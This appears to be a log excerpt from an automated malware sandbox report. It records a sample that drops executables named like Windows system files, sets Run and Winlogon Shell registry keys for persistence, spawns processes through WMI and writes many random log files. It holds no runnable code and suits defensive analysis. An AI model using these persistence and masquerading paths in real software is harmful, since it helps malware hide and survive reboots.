Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Drops PE files with benign system names

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp

File created: C:\Program Files\Windows Portable Devices\services.exe

Jump to dropped file

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

System file written: C:\Windows\System32\SecurityHealthSystray.exe

Jump to behavior

Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\JNcVLOYU.log	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\YxwKIJCn.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\aWyAiOqN.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\ISGNtcvE.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\AlYgfivS.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\RAZddEBm.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\uAOGicXv.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\BUSNQNBP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\xnyXtCUT.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\hCfixIqA.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\Default\dllhost.exe	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\tUuQbxCC.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\GtEXSWHd.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\xHLPEuRq.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\cFtTdbwi.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\PNpMSdEO.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\jNBixaWB.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\wKkHjuCv.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Program Files (x86)\Microsoft.NET\RuntimeBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\t8xf0Y1ovi.exe	File created: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\LYmDRkwM.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\cmzTJCKp.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Program Files\Windows Portable Devices\services.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\mPnRSJaw.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\JxaDAGRw.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\ruVxRXPe.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\UPplfwcz.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\RIrcJdiD.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\WorcGBQa.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\utwGCCqd.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\TgtTkjWe.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\FHjMtJQD.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\dkabfCZj.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\eqZjkpHb.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\vWgyxgGx.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\UBGLvaTC.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\mHEzoazq.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\PynuHVwq.log	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp

File created: C:\Users\Default\dllhost.exe

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

File created: C:\Windows\System32\SecurityHealthSystray.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\PynuHVwq.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\TgtTkjWe.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\JxaDAGRw.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\BUSNQNBP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\jNBixaWB.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\hCfixIqA.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\RAZddEBm.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\ISGNtcvE.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\FHjMtJQD.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\WorcGBQa.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\utwGCCqd.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\mPnRSJaw.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\aWyAiOqN.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\AlYgfivS.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\mHEzoazq.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\ruVxRXPe.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	File created: C:\Users\user\Desktop\xnyXtCUT.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\cmzTJCKp.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\PNpMSdEO.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\dkabfCZj.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\UBGLvaTC.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\JNcVLOYU.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\RIrcJdiD.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\GtEXSWHd.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\wKkHjuCv.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\uAOGicXv.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\UPplfwcz.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\tUuQbxCC.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\YxwKIJCn.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\xHLPEuRq.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\eqZjkpHb.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\LYmDRkwM.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\vWgyxgGx.log	Jump to dropped file
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	File created: C:\Users\user\Desktop\cFtTdbwi.log	Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run kzyTFNNJbez	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run services	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dllhost	Jump to behavior

Drops PE files to the user root directory

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp

File created: C:\Users\Default\dllhost.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dllhost	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dllhost	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dllhost	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dllhost	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run services	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run services	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run services	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run services	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run kzyTFNNJbez	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run kzyTFNNJbez	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run kzyTFNNJbez	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run kzyTFNNJbez	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
